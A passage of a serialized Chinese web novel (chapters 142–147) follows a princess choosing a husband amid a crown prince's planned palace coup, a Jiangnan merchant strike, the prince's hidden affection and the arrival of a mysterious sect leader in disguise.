“爹爹不必心疼。”姜稚微笑,“这是最好的选择。好了,女儿会在那群世家公子中好好挑一挑,绝不会勉强自己的。”
安抚好父亲,姜稚起身离开书房,背影挺直而决绝。
姜肃望着女儿的背影,良久,终是长长叹了口气。
第142章 镇北王黑化窗宴会
次日,雍王府花园。
春色满园,百花争艳。
林月瑶精心布置的赏花宴果然请来了京中数位适龄公子——
有文官家的嫡子,有武将家的儿郎,还有两位郡王世子。
姜稚一身鹅黄襦裙,发髻轻挽,只簪一支碧玉步摇,素雅中透着贵气。
她坐在主位,面带微笑,礼仪周全,但眼中始终保持着淡淡的疏离。
“公主,”一位蓝衣公子起身行礼,“在下李瑾,家父是礼部侍郎。久闻公主才名,今日得见,三生有幸。”
姜稚颔首:“李公子客气。”
“公主,”另一位红衣公子不甘示弱,“在下赵珩,家父是镇远将军。听闻公主擅箭术,改日可否请教一二?”
“有机会再说。”姜稚不置可否。
她一边应付着这些公子,一边在心中评估。
【李瑾,礼部侍郎嫡子,性格懦弱,唯父命是从。若嫁给他,等于被礼部拿捏。】
【赵珩,将门之后,性格鲁莽,重武轻文。不适合。】
【周文清,郡王世子,表面温文尔雅,实则狎妓养伎,不是良配。】
这些心声一字不落地传到隐在假山后的萧寒川耳中。
他是半个时辰前到的,没有惊动任何人,只让陈凛通传了雍王,然后便隐在暗处观察。
看着那些围着姜稚献殷勤的公子哥,萧寒川的脸色越来越沉。
李瑾太弱,配不上她。
赵珩太莽,护不住她。
周文清太脏,根本不该靠近她。
没有一个配得上他的稚儿。
就在这时,花园入口处又走进一人。
那人一身月白锦袍,面容清俊,气质儒雅,正是那日在选婿宴上被姜稚当众揭穿抄袭的陈文轩。
姜寒川眼神一冷。
他怎么还敢来?
陈文轩显然精心打扮过,走到姜稚面前,深深一揖:“公主,那日选婿宴是在下唐突,今日特来赔罪。”
姜稚淡淡点头:“陈公子不必多礼。”
“公主,”陈文轩从袖中取出一卷画轴,“这是在下的赔礼。一幅《春山烟雨图》,还请公主笑纳。”
他慢慢展开画轴,果然是一幅精妙的山水画。
笔法细腻,意境悠远,可见功力。
园中众人纷纷赞叹:“好画!”“陈公子果然才情过人!”
姜稚看了一眼画,忽然笑了:“陈公子这幅画,画意不错,笔触细致,瞧着还真真是把雨后的朦胧感跃然于纸上。”
“正是!没想到我与公主竟有这般默契。”陈文轩听了姜稚的评价,沾沾自喜起来。
“不过…”姜稚紧接着话锋一转,语气染上嘲讽“我瞧着这幅画,应该是陈公子临摹前朝大家李松年的《春山行旅图》吧?”
“公子的技法确实精湛,临摹的有九分像。”
陈文轩听完,脸色一僵。
姜稚继续道:“只是李松年原作中,山间有一处飞瀑,公子为何改成了云雾?可是觉得瀑布的笔法太难,不敢尝试?”
这话问得巧妙,既点出了画是临摹,又暗讽他技法不足。
陈文轩额头冒出细汗:“公主慧眼…在下确实觉得云雾更添意境…”
“是吗?”姜稚微笑,“可本宫记得,李松年曾在他的画论中说过,‘山无水不活,水无山不灵’。陈公子改瀑布为云雾,岂不是让这山…**?”
园中一片寂静。
几个公子忍不住低下头,肩膀耸动,显然在憋笑。
陈文轩脸色由红转白,又由白转青,最后勉强挤出一句:“公主教训的是。是在下学艺不精。”
他收起画轴,狼狈退下。
假山后,萧寒川的嘴角微微勾起。
赏花宴进行到一半,林月瑶悄悄将姜稚拉到一边:“稚儿,你觉得哪位公子好些?”
姜稚沉默片刻,低声道:“母亲,若非要选的话,我就选李瑾吧。”
“李瑾?”林月瑶微微皱眉,“那孩子是不是太弱了些。”
“弱才好掌控。”姜稚平静道,“他父亲是礼部侍郎,家世清白,性格温顺。成婚后,我让他做什么他就做什么,不会干涉我的事。”
【至少比那些野心勃勃的强。李瑾这样的,给个虚职养着就行,不会给我添麻烦。】
这心声传到假山后,萧寒川浑身一僵。
稚儿要选李瑾?
那个懦弱无能、连话都说不利索的李瑾?
就因为他好掌控?
一股怒火从心底升起,夹杂着连他自己都说不清的心痛
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萧寒川握紧拳头,指节泛出清白。
不多时,花园外忽然传来一阵骚动。
“王爷我先去通传一声,王爷您不能这么硬闯。”
“滚开!”
是萧寒川的声音。
姜稚一怔,抬头看去,只见萧寒川大步走进花园。
他一身黑色劲装,脸色阴沉得可怕。
园中众人纷纷起身行礼:“参见镇北王!”
萧寒川看也不看他们,径直走到姜稚面前。
“公主,”他的声音冷得像冰,“臣有要事相商,请公主移步。”
姜稚看着他眼中的怒意,心中不解,但还是点头:“好。”
她向林月瑶示意,便跟着萧寒川离开了花园。
二人一路无话,直到走进雍王府的后园。
这里僻静无人,只有一池春水,几株垂柳。
“大哥,”姜稚停下脚步,目光灼灼地盯着萧寒川,“发生何事了,如此紧急?”
萧寒川转身看着她,眼中情绪翻涌:“你要选李瑾?”
姜稚一愣:“皇叔怎么知道…”
“回答我。”萧寒川上前一步,逼视着姜稚,“你真的要选那个懦弱无能的李瑾?”
他的气势太强,姜稚下意识后退半步:“我…我还在考虑。”
“考虑什么?”萧寒川又上前一步,“考虑怎么把自己嫁给一个废物,然后困在后宅,相夫教子?”
“我不会困在后宅。”姜稚皱眉,“大哥,这是我的婚事,我自己有分寸。”
“你有分寸?”萧寒川冷笑,“你的分寸就是选一个最好控制的傀儡,然后继续做你的镇国公主?”
“姜稚,你这是在拿自己的终身幸福做交易!”
“那又如何?”姜稚抬头,直视萧寒川的眼睛,“我是公主,我的婚事从来就不是我一个人的事。”
“它关乎朝局,关乎皇室,关乎大晟!若能用我的婚事换来朝堂稳定,换来改革顺利,我觉得值。”
“值?”姜寒川的声音陡然提高,“你问过自己的心吗?你真的愿意嫁给一个你不爱的人,和一个陌生人共度余生吗?”
姜稚沉默了,而萧寒川见此也沉默不语。
只有柳枝随风舞动的身影,偶尔扫过这一方寂静。
第143章 镇北王的暗恋要藏不住了
春日的花园,百花争艳,柳丝轻拂。
池水澄澈如镜,倒映着碧空与花影。
阳光透过枝叶洒下斑驳光影,落在青石小径上,仿佛为这静谧的午后铺上一层温柔的金纱。
姜稚一袭淡青色长裙随风轻扬,立于池畔,眉目如画,却掩不住眉宇间的凝重。
萧寒川站在她身侧半步之后,身形挺拔,玄衣如墨,气场冷峻。
这个距离,是臣与臣、兄与妹的礼制,也是他对眼前少女的克制。
良久,姜稚终是忍耐不住,打破沉默。
她对着萧寒川轻声道:“大哥,这世上不是所有事都能随心所欲的。我有我的责任,我的使命。婚姻,只不过是其中一项罢了。”
姜稚的语调平静,仿佛在说一件与自己无关的事,但萧寒川却听出了其中的无奈和决绝。
原来稚儿不是不想争取,而是早已明白,身为皇室之女,命运从不掌握在自己手中。
萧寒川心中那股怒火忽然就熄灭了,取而代之的,是铺天盖地的心疼。
他的稚儿,才十八岁的年纪,就已经要承担这么多。
为了这个国家,她连自己的幸福都可以牺牲。
“如果…”萧寒川的声音忽然低了下来,“如果我说,有一个人,他懂你的抱负,支持你的理想,愿意站在你身后,护你一世周全。你…愿意考虑吗?”
姜稚一怔,抬头看向萧寒川。
四目相对。
那一刻,春风仿佛都静止了。
柳絮在空中打着旋儿,迟迟不肯落下。
池水泛起涟漪,映着二人的倒影,一高一低,一冷一柔,却莫名地契合。
萧寒川的眼中是姜稚从未见过的认真,还有某种她不敢深究的情绪。
那情绪太深太沉,像是要将她整个人都吞进去。
“大哥说的是谁?”好一会儿,姜稚才找回自己的声音,问出的话,声音轻得好似能被风吹散。
萧寒川张了张嘴,喉结上下滚动,那句“是我”已经抵在齿关,几乎要脱口而出。
但最终,他还是忍住了。
现在还不行。
太子未除,朝局未稳,他不能让她分心,更不能让她陷入更复杂的境地。
更重要的是,他害怕。
害怕眼前少女眼里会出现迟疑,出现权衡,出现“感激”而非“心动”。
“总之,”萧寒川强迫自己移开视线,目光落在姜稚身后一株并蒂海棠上,花开两朵,一浓一淡,“不要选李瑾。他不配。”
姜稚看着萧寒川紧绷的侧脸,忽然笑了:“好,我听大哥的。”
这一笑,如春冰乍破,让萧寒川的心跳漏了一拍。
他想起北疆战场,敌军万箭齐发,他面不改色;却在她这一笑里,丢盔弃甲,溃不成军。
“不过,”姜稚又道,“婚事总归要解决的。大哥若真为我好,不如帮我物色一个更合适的人选?”
萧寒川眼神一暗,语气微冷,垂在身侧的手猛地握紧:“你就这么急着嫁人?”
“不是急,是必须。”姜稚转身望向池塘,抬手,接住一片柳絮,摊在掌心吹散,仿佛一切尽在她的掌握。
“端阳节后,无论结果如何,我的婚事都会成为朝堂焦点。与其被动应对,不如主动选择。”
她顿了顿,声音轻得像叹息:“大哥,有时候我真羡慕你。你是男子,又是王爷,可以建功立业,可以掌握自己的命运。而我…”
姜稚没有说完,但萧寒川听懂了。
在这个时代,女子终究是身不由己的。
即使尊贵如公主,也逃不过婚嫁的桎梏。
“稚儿,”萧寒川忽然唤她的名字,语气中是满满的真诚,“相信我,总有一天,你会拥有真正的自由。到那时,你想嫁谁就嫁谁,不想嫁就不嫁。没有人能逼你。”
姜稚回头,眼中闪过讶异:“大哥…”
“我说到做到。”萧寒川郑重道,“所以在那之前,不要急着做决定。等一切尘埃落定,等大晟海晏河清,我会亲手给你一个选择。”
一个真正的,只属于你自己的选择。
萧寒川没有说出后半句,但姜稚听懂了。
心中某个角落,忽然就柔软了下来。<
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br>“好,”她点头,“我等你。”
等你给我一个选择。
也等你…
给我一个答案。
二人并肩站在池塘边,春风吹起衣袂,柳絮落在肩头。
阳光洒在他们身上,仿佛为这一刻镀上了一层温柔的光辉。
这一刻,岁月静好。
然而他们不知道的是,花园假山后,林月瑶将这一切都看在眼里。
她看着女儿和镇北王并肩而立的背影,看着二人之间那种说不清道不明的氛围,心中忽然升起一个大胆的念头。
也许,稚儿的良配,远在天边,近在眼前。
只是这条路,对于二人来说,太难走了。
一个是镇北王,手握兵权,一个是镇国公主,肩负重任。
他们之间,不仅有身份的差距,更有朝堂的波谲云诡。
林月瑶轻轻叹了口气,转身离开。
就让孩子们自己选择吧。
她这个做母亲的,只要女儿幸福就好。
而此刻的东宫。
太子姜诚倚在朱栏上听着暗卫的禀告,手里把玩一只斗彩葡萄纹杯。
杯中酒液猩红,像新鲜的血。
“你是说,姜稚要选李瑾?”姜诚嗤笑,眼中满是不屑,“她倒是会挑,选了个最好拿捏的。”
暗卫低声道:“但镇北王突然出现,把公主带走了。二人单独谈了许久,最后,公主似乎改变了主意。”
姜诚眼神一冷:“这个萧寒川,每次都要出来搞破坏。”
他握紧手中的杯子,由于手指过于用力,杯壁发出刺耳的尖锐声:“不过没关系。等端阳节后,这一切都不重要了。”
“传令下去,计划照旧。五月初五那天后,我要那个位子只属于我!所有阻碍我的人,都要死!”
“那镇北王…”
“一起杀了。”姜诚眼中闪过狠厉,“我要让他们都付出代价!”
酒杯应声摔在地上,碎瓷四溅。
就像这即将破碎的江山,和那些注定要流血的生命。
窗外,春色正浓。
但一场暴风雨,正在悄然酝酿。
第144章 雍王府三人定策
距离端阳节宫宴只剩十日。
雍王府书房内烛火彻夜未灭。
姜稚、姜肃、萧寒川三人围坐桌旁,桌上铺着京城以及宫城布防图。
“这是张猛最新送来的名单。”姜稚将一页纸推到地图中央。
“东宫卫队三千人已全部集结,分驻东宫及城西三处别院。御林军右卫指挥使**已被太子收买,手下两千人届时将开宫门接应。”
萧寒川的手指划过地图上的宫门标记:“红莲教的死士呢?”
“据张猛探查,已有一百二十人混入宫中。”姜稚又取出一份名单。
“其中乐师三十人,杂役五十人,宫女二十人,太监二十人。这些人身手不凡,且多数携带暗器**。”
姜肃听了,倒吸一口凉气:“这么多?他们是怎么混进来的?”
“太子的手早早就伸到内务府了。”姜稚面色凝重起来。
“他表面与世无争,实则暗中一直在培植势力。内务府总管太监刘福,三年前被太子用重金收买,这些人的身份都是他安排的。”
“我们的部署如何?”萧寒川问。
姜稚起身,拿起一支朱笔在地图上标记:“山影卫三百人已全部就位。其中一百人扮作禁军,由张猛安排在端阳节当日值守宫门。”
“一百人潜伏在御花园及各处要道;剩下的一百人作为机动,随时策应。”
她又用毛笔标记:“禁军韩统领掌控的两万人中,已经暗中调换了一千忠诚可靠的将士,负责陛下寝宫及后宫安全。张猛那边能争取过来的约有两千五百人。”
“龙渊军呢?”姜肃问萧寒川。
“韩猛率领的主力五日后抵达京城外围。”姜寒川在地图城外三十里处画了个圈,“三千轻骑已在昨日秘密入城,由陈凛统领,分散在城中各处据点,随时待命。”
他顿了顿:“另外,周慎将军已接到虎符调令,正率镇北王旧部‘暗桩’五千人从北疆赶来,最迟五月初三抵达。”
“五千老兵…”姜肃眼睛一亮,“这下稳了。”
“还不够。”姜稚却摇头,“太子敢动手,必然还有后手。红莲教既然能出动一百二十名死士,说明他们在京城还有更多力量。而且…”
她走到窗前,望向东方:“江南陈家那边,也肯定会有动作。”
姜肃神色一肃:“对,稚儿说得没错!陈家联合苏州、杭州七家豪绅,昨日**,以‘一条鞭法税负过重’为由,宣布**三日。”
“江南那边的丝绸、茶叶、瓷器贸易已全部停滞。”
“**?”姜稚冷笑,“他们这是想逼迫朝廷妥协。可惜他们选错了对手。”
萧寒川看着姜稚,出声询问:“需要我派兵去江南**吗?”
“不必。”姜稚转身,“经济问题要用经济手段解决。”
“爹爹,让商行在江南的所有分号开仓,平价出售丝绸、茶叶、瓷器。同时发布公告,凡在**期间到稚川商行购货者,一律九折。”
“这…”姜肃迟疑,“我们的存货够吗?”
“够。”姜稚从书架上取下一本账册,“这几年,商行暗中收购了江南三成丝绸、四成茶叶、两成瓷器。就是防备有这一天。”
“另外,我已经让安叔联络海外商船,从南洋、东瀛紧急调货。最多三日,货船就能抵达杭州港。”姜稚眼中闪过一切尽在掌握的笃定。
“陈家想用**要挟朝廷,我就让他们知道,这江南,不是他们说了算。”
好一招反制!
姜肃心中赞叹,女儿这商业手腕,真是炉火纯青。
“还有,”姜稚眼神转冷,“爹爹,您找机会将陈家走私生铁给匈奴的证据呈上去,咱们是时候要出击了!”
姜肃点头:“我明日就办。”
三人又商议了诸多细节,直到东方发白。
姜稚揉了揉酸涩的眼睛,对萧寒川道:“大哥自北疆一路奔波到现在,伤势未愈,先去歇息吧。剩下的事,我和爹爹处理就好。”
萧寒川看着姜稚眼下的青黑,心中一疼:“你也该歇息了。这几日你几乎没怎么合眼。”
“我没事。”姜稚勉强笑了笑,“等端阳节过了,有的是时间休息。”
【现在哪是休息的时候。一步走
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错,满盘皆输。我必须确保万无一失。】
这心声让萧寒川更觉心疼。
他忽然起身:“稚儿,陪我去院中走走。有些话,想单独与你说。”
姜稚一怔,看向父亲。
姜肃摆摆手:“去吧去吧,就当散散心,为父再捋捋这些部署。”
雍王府后园,晨光熹微。
池塘边的垂柳抽出新芽,晨露在叶片上滚动,晶莹剔透。
姜稚与萧寒川并肩走在青石小径上,一时间谁也没有说话。
“稚儿,”最终还是萧寒川先开口,“若端阳节那日我有个不测,你…”
“不会的。”姜稚打断他,声音很轻但很坚定,“大哥不会有事。我也不会让大哥有事。”
萧寒川停下脚步,看着她:“刀剑无眼,战场之上,谁也不能保证。”
“那就不上战场。”姜稚抬头,直视他的眼睛,“大哥,端阳节那日,你留在皇帝寝宫,护驾。”
“什么?”萧寒川皱眉,“那你呢?”
“我在前朝。”姜稚平静道,“太子要逼宫,首要目标肯定是控制前朝,挟持百官。我会在那里,等他来。”
“不行!”萧寒川断然拒绝,“太危险了!太子恨你入骨,若见到你,定会下**!”
“正因为他恨我,我才必须出现。”姜稚眼中闪过锐光,“我要让他把注意力都放在我身上,这样祖父寝宫那边压力就会小很多。而且…”
她顿了顿:“我有山影卫保护,还有张猛暗中策应,不会有事的。”
萧寒川还要说什么,姜稚却伸手按住了他的手臂。
这个动作让二人都是一怔。
姜稚很快收回手,耳根微红,但声音依旧平稳:“大哥,相信我。这几年,我学会的不仅仅是经商治国,还有,自保。”
晨光中,她的眉眼染上一层金色,明明纤弱,却透着一股坚韧。
萧寒川静静看着,心中某处忽然就软了下来。
“好,”他最终妥协,“但你答应我,一定要保护好自己。若见势不对,立刻撤退,不要逞强。”
“我答应。”姜稚点头。
第145章 太子羽翼瑟瑟发抖
“稚儿,”晨光中,萧寒川看着远方的日出,忽然问,“等这一切结束后,你有什么打算?”
姜稚想了想:“继续推行改革吧。‘一条鞭法’要在全国铺开,科举制度还要进一步完善,黄河治理也到了关键阶段…”
“我是问你自己的打算。”萧寒川打断她,“不是国事,是你自己。”
姜稚沉默片刻,轻声道:“我自己的事...等大晟安定后再说吧。”
“那若大晟一直不安定呢?”萧寒川追问,“稚儿,你该有自己的生活。”
姜稚停下脚步,望着池塘中游动的锦鲤,良久才道:“大哥,你知道吗?有时候我会想,如果我生在普通人家,会不会更快乐些?”
“可以读书,可以游历,可以选择一个自己喜欢的人,平淡度过一生。”
姜稚的声音很轻,带着一丝不易察觉的怅惘。
萧寒川心中一动:“那现在呢?现在你想要什么?”
姜稚转过头,看着他,忽然笑了:“现在啊,现在我只想大晟海晏河清,百姓安居乐业。至于我自己…”
她没有说完,但萧寒川懂了。
她把自己的幸福,放在了这个国家的后面。
萧寒川忽然想开口告诉她,不必如此,她可以既要家国天下,也要儿女情长。
但话到嘴边,又咽了回去。
再等等,等他把太子的阴谋击破...
“走吧,”萧寒川最终只是说,“该用早膳了。吃完后,我陪你再去查看一遍部署。”
“好。”
二人并肩走回前院。
晨光将他们的影子拉得很长,交织在一起,仿佛本就该如此。
同一时间,东宫。
太子姜诚坐在暗室中,面前摆着一幅与雍王府相似的地图。
只是他的地图上,标记的是进攻路线和刺杀目标。
慕容玄坐在他对面,依旧戴着银质面具,只露出一双深邃的眼眸。
“雍王府那边有什么动静?”太子问。
“萧寒川的三千轻骑已秘密入城。”慕容玄的声音平静无波,“山影卫全部就位,禁军中有两千五百人可能倒戈。另外,周慎正率五千镇北王旧部从北疆赶来。”
太子脸色一沉:“这么多?那张猛呢?他会不会…”
“张猛已经动摇。”慕容玄淡淡道,“但我在他身边安插了眼线。若他敢临阵倒戈,会有人第一时间取他性命。”
太子这才松了口气:“红莲教的死士都到位了?”
“一百二十人,全部潜伏到位。”慕容玄顿了顿,“另外,我在宫外还安排了三百死士,一旦宫门打开,他们会第一时间冲进去。”
“好!”太子眼中闪过兴奋,“端阳节宫宴,我要让姜肃父女、萧寒川,还有那个老不死的,统统下地狱!”
他端起酒杯,一饮而尽,脸上泛起病态的红晕:“这江山,终于要是我的了!”
慕容玄看着他癫狂的模样,面具下的眼中闪过一丝嘲讽。
蠢货。
真以为这皇位那么好坐?
不过他不会提醒太子。
他要的,从来就不是辅佐新君,而是——
搅乱这大晟江山。
“殿下,”慕容玄忽然开口,“事成之后,别忘了你的承诺。”
太子一怔:“什么承诺?”
“姜稚。”慕容玄声音转冷,“我要她,活的。”
太子眼中闪过不悦,但很快掩饰过去:“放心,本王答应的事,从不食言。只是,尊者为何对那个丫头如此执着?”
慕容玄沉默良久,缓缓道:“她身上,有我要的东西。”
“什么东西?”
“这不重要。”慕容玄起身,“殿下只需记住,姜稚必须活捉。若她**,我们的合作,到此为止。”
说完,他转身离开暗室,黑袍在烛光下拉出长长的影子。
太子看着他离去的背影,眼中闪过阴鸷。
等自己登基后,第一个要除掉的,就是这条不听话的狗。
还有姜稚…
既然慕容玄要活的,那就给他个活的。
不过,是缺胳膊少腿,还是神志不清,就看自己的心情了。
黑暗中,姜诚阴恻恻地笑了。
……
次日早朝。
皇帝依旧未能临朝,太子继续监国。
今日朝堂的气氛格外诡异。
以**为首的江南派官员个个面色阴沉,而以姜肃为首的改革派则严阵以待。
朝会一开始,**便出列发难。
“臣有本
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奏!”他高举奏折,声音悲愤。
“江南百姓苦‘一条鞭法’久矣!税负过重,民不聊生,苏州、杭州等地商贾集体**,百姓无米下锅,无衣蔽体!”
“臣恳请太子殿下暂停‘一条鞭法’,救江南百姓于水火!”
说罢,**跪地叩首,声泪俱下。
几个江南籍官员也跟着跪倒:“请殿下暂停税法,救救江南百姓!”
太子故作痛心:“竟有此事?陈侍郎,税改是为了减轻百姓负担,怎会反而加重?”
“殿下明鉴!”**哭诉,“税法虽好,但官吏执行不力,层层加码,致使百姓实际税负比原先还重三成!如今江南怨声载道,若再不停止,恐生民变啊!”
这话说得危言耸听,几个老臣开始面露忧色。
姜肃冷笑一声,出列道:“陈侍郎此言,可有证据?”
“自然有!”**从袖中取出一叠状纸,“这是江南百姓的联名状,共三千七百八十九人签名按印,控诉‘一条鞭法’之弊!”
**将状纸呈上。
太子接过,装模作样地翻看,眉头越皱越紧。
“雍王,”他看向姜肃,“此事你作何解释?”
姜肃不慌不忙:“臣弟想问陈侍郎几个问题。”
他转身面向**:“第一,你说百姓税负加重三成,这数据从何而来?是户部统计,还是你陈家自己算的?”
**一滞:“这…这是民间自发统计。”
“民间?”姜肃嗤笑,“哪个民间能统计出整个江南的税负数据?除非,有人暗中组织。”
他顿了顿,继续问:“第二,你说百姓无米下锅,无衣蔽体。”
“可据臣弟所知,稚川商行在江南的粮仓一直平价售粮,布庄也一直平价售布。若真如你所说,这些粮食布匹都卖给谁了?”
**额头冒汗:“百姓根本无钱购买,雍王殿下这是强词夺理…”
“第三,”姜肃不给他喘息机会,
“你说苏州、杭州商贾**。可为何我收到的消息是,稚川商行在江南的所有商铺照常营业,且客流如织?”
“这**的,恐怕只有你陈家和那几家豪绅的商铺吧?”
一连三问,问得**哑口无言。
第146章 清冷贵公子登场
朝堂上,姜肃转身,面向满朝文武,言语中满是威仪。
“诸位大人,江南**是真,但**的不是所有商贾,而是以陈家为首的七家豪绅。”
“他们为何**?”
“因为‘一条鞭法’断了他们隐匿田产、****的路子!他们是在用**要挟朝廷,要挟天下百姓!”
姜肃说到这儿,声音陡然提高:“而更可恨的是,这些人一边要挟朝廷,一边却做着通敌**的勾当!”
此言一出,满殿哗然。
**脸色煞白:“雍王!你血口喷人!”
“是不是血口喷人,看看这个就知道了。”姜肃从袖中取出一叠文书,高高举起。
“这是八年前,陈家与匈奴走私生铁的交易记录,上面不仅有陈家家主的私章,还有匈奴千夫长的签名。铁证如山!”
他将文书重重摔在**面前:“陈侍郎,你还有何话说?”
**颤抖着捡起文书,只看了一眼,便瘫软在地。
完了。
全完了。
太子脸色铁青,他没想到姜肃会在这个节骨眼上抛出这致命一击。
“殿下!”御史中丞出列,“陈家通敌,罪证确凿,请太子殿下严惩,以儆效尤!”
“请殿下严惩!”几个寒门官员齐声附和。
太子咬牙,他知道保不住陈家了。
若强行保,不仅他自己会受牵连,还会影响之后的计划。
“传旨,”姜诚艰难开口,“陈家通敌叛国,罪不可赦。**革职查办,陈家抄家,族人流放三千里。江南**者,一律按谋逆论处!”
“殿下英明!”百官齐呼。
**当场昏厥,被侍卫拖了出去。
退朝后,太子回到东宫,摔了满屋瓷器。
“姜肃!姜稚!你们好狠!”他双目赤红,“断我臂膀,坏我大事!”
幕僚小心翼翼道:“殿下息怒。陈家虽倒,但我们在江南的根基还在。当务之急,是端阳节的计划!”
“计划照旧!”太子狞笑,“他们以为赢了?呵,端阳节后,我要让他们知道,谁才是最后的赢家!”
他走到窗前,望向皇宫方向,眼中满是疯狂。
老不死的,还有九天。
九天后,这江山,就是我的了。
而此刻的雍王府,姜稚收到了父亲带回的朝堂上的消息。
“陈家倒了。”她放下密报,对姜肃道,“但太子不会罢休。接下来这九天,他会狗急跳墙。”
“为父知道。”姜肃点头,“所以已经加派了人手保护府邸。稚儿,你这几日就不要出门了。”
“嗯。”姜稚应着,目光却望向窗外。
九天。
还有九天,这场博弈,就要见分晓了。
她握紧手中的狼牙吊坠,慌乱的心安定渐渐下来。
……
四月二十八日。
距离端阳节宫宴只剩七日,京城表面平静,暗流却越发汹涌。
雍王府书房内,姜稚正与姜肃商议江南**的后续处理。
陈家虽倒,但江南豪绅的抵触情绪并未平息,稚川商行虽平价售货,终究只能解一时之急。
“父亲,‘一条鞭法’在江南的推行受阻,说到底还是触及了那些豪绅的根本利益。”姜稚指着账册上的数据,有些犯难。
“仅苏州一地,隐匿田产就达八十万亩,每年**白银十六万两。这些人不会轻易罢休。”
姜肃皱眉:“为父明白。但若强行清丈田亩,恐真会激起民变。那些豪绅最擅长的就是煽动百姓,挑起官民之间的矛盾。”
【这就是既得利益者的惯用伎俩。用百姓做盾牌,维护自己的特权。要想破局,得想个釜底抽薪的办法。】
姜稚正思忖间,惊蛰匆匆进来:“公主,府外来了一位公子,自称能解江南困局,求见公主。”
“何人?”姜稚问。
“他说姓玄,单名一个‘玦’字,说是从海域而来。”惊蛰呈上一封拜帖。
拜帖是上好的洒金笺,字迹飘逸出尘,颇有魏晋风骨。
落款处只有一个“玄”字,盖着一方古篆私印,印文“琅琊玄氏”。
姜稚与姜肃对视一眼,都看到了对方眼中的疑惑。
琅琊玄氏?
这个姓氏在大晟极为罕见,前朝大燕曾有玄氏,乃百年世家,但早在几十年前就已没落,族人散落四方。
“请他到花厅。”姜稚决定见一见这位神秘的玄公子。
花厅内,姜稚见到了这位不速之客。
来人约莫二十三四岁年纪,一身月白广袖长袍,腰间悬一枚羊脂玉佩,面容清俊如画,眉眼间自带三分疏离七分雅致。
最引人注目的是他左眼角下那颗朱砂痣,红得恰到好处,平添
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几分妖冶。
他站在那里,就如一幅水墨丹青,气质出尘得不似凡俗中人。
“在下玄玦,见过镇国安宁公主。”他拱手行礼,声音清越如玉石相击。
姜稚颔首:“玄公子请坐。听闻公子有解江南困局之策?”
玄玦落座,不疾不徐道:“公主可知,江南豪绅为何敢以**相要挟?”
“因为他们掌控了江南六成的丝绸、茶叶、瓷器贸易。”姜稚道。
“这只是表象。”玄玦微微一笑,“真正的原因是,他们垄断了海上商路。”
他从袖中取出一卷海图,在桌上铺开:“公主请看。大晟的海外贸易主要走两条线。”
“一条从广州出发,经南洋至天竺;一条从泉州出发,经琉球至东瀛。而这两条线的船队,七成都掌握在江南八家豪绅手中。”
姜稚看着海图,眼中闪过讶异。
这些信息连稚川商行都未能完全掌握,这位玄公子从何得知?
玄玦仿佛看穿了她的心思,继续道:“在下家族世代经商,曾祖父时举族迁往海外,如今在南洋、东瀛皆有产业。这些商路隐秘,寻常人自是不知。”
他手指点在海图上:“公主若想破江南困局,不妨另辟蹊径。”
“那就是,开第三条商路!”
“第三条?”姜稚心中一动。
“从登州出发,经渤海至高丽,再渡海至东瀛北境。”玄玦道,“这条路线虽然险远,但避开了江南豪绅的控制。”
“且高丽盛产人参、貂皮,东瀛北境盛产白银、铜矿,都是大晟所需之物。”
姜稚凝视着海图,脑中飞速运转。
【这个思路确实可行。海上贸易的利润远超陆地,若能开辟新航线,不仅能打破江南豪绅的垄断,还能增加国库收入。】
【只是,航海需要巨资,更需要熟悉海路的人才。】
玄玦似是看透姜稚所想,适时开口:“若公主有意,在下愿助一臂之力。”
“玄家在南洋有三支船队,十艘海船,船员皆是经验丰富的航海老手。只要公主允准,三月之内,船队便可抵达登州。”
这话说得轻描淡写,但姜稚听出了其中的分量。
十艘海船,三支船队,这在海上贸易中已是一股不可小觑的力量。
这位玄公子一开口就愿倾力相助,所图为何?
第147章 玄公子要提亲?
“玄公子如此相助,想要什么回报?”花厅内,姜稚没有绕圈子,直白地将心中疑问问出口。
玄玦淡淡一笑,然后双手抱拳,微微施礼道:“在下所求不多。只愿公主允准玄家重返大晟,在大晟各港口自由通商。”
他顿了顿,补充道:“另外,若公主不弃,在下愿为公主幕僚,助公主推行改革,振兴大晟。”
这话说得坦荡,但姜稚心中仍有疑虑。
一个海外归来的世家子,为何对大晟朝政如此热心?
又为何如此巧合,在她最需要帮助的时候出现?
最关键的是,她根本不记得书中还有这么一号人物。
【太过巧合的事,往往不是巧合。这位玄公子,恐怕没那么简单。】
这心声传到隔壁茶室的姜肃耳中。
他赞同地点了点头。
女儿警惕性很高,这是好事。
花厅内,玄玦见姜稚沉默,也不催促,只静静品茶,姿态从容。
良久,姜稚开口:“玄公子的提议,本宫会考虑。只是此事关系重大,需从长计议。公子远道而来,不如先在京城住下,三日后,本宫再给公子答复。”
“谨遵公主安排。”玄玦起身行礼,“在下暂住城南‘听雪楼’,公主若有吩咐,随时可派人传唤。”
送走玄玦后,姜稚立即唤来惊蛰:“派人去查查这位玄公子的底细。重点查琅琊玄氏是否真有其族,以及他在海外的产业。”
“是。”
惊蛰领命而去。姜稚回到书房,姜肃已在等她。
“父亲觉得此人如何?”姜稚问。
“深不可测。”姜肃面色凝重,“他提出的新航线确能解江南之困,但代价是引入一股我们完全不了解的力量。稚儿,此人之事,需慎之又慎。”
姜稚点头:“女儿明白。但若他真是海外巨商,能为我们所用,确实是一大助力。”
她走到窗前,望着玄玦离去的方向,若有所思。
这位玄公子,出现的时机太过微妙。
端阳节在即,各方势力都在蠢蠢欲动,他突然以救世主的姿态出现,真的只是巧合吗?
……
城南,听雪楼。
这是京城最有名的客栈之一,以清雅幽静著称。
玄玦包下了顶层整个东厢,此时正凭栏远眺,目光所及,正是皇城方向。
“尊者,”一个黑衣侍卫无声出现,“雍王府已派人来查您的底细。”
“让他们查。”玄玦淡淡道,“我们准备的‘证据’,足够真实。”
“是。”侍卫犹豫片刻,“只是属下不明白,尊者为何要亲自接近姜稚?以我们的计划,端阳节后,这大晟江山就是我们的囊中之物。”
“端阳节后的事,端阳节后再说。”玄玦打断他,“我要的,从来不只是江山。”
他转身,面具早已摘下,露出那张惊世容颜:“我要的,是让她亲眼看着,她所珍视的一切,是如何一点一点崩塌的。而在那之前,我要先成为她最信任的人。”
侍卫心中一凛,低头不敢再言。
玄玦走到琴案前,指尖轻抚琴弦,弹出一段清冷的曲调。
姜稚。
他在心中默念这个名字。
八年前,他还是只是红莲教中一个顶着父亲光环的少主,为了证明自己,冒死潜入京城收集情报。
那时,他第一次见到姜稚——
一个十岁的小女孩,却在百花宴上以一篇《赋税论》震惊四座,字字珠玑,锋芒毕露。
从那一刻起,他就知道,这个女孩将会改变大晟,也会改变他的命运。
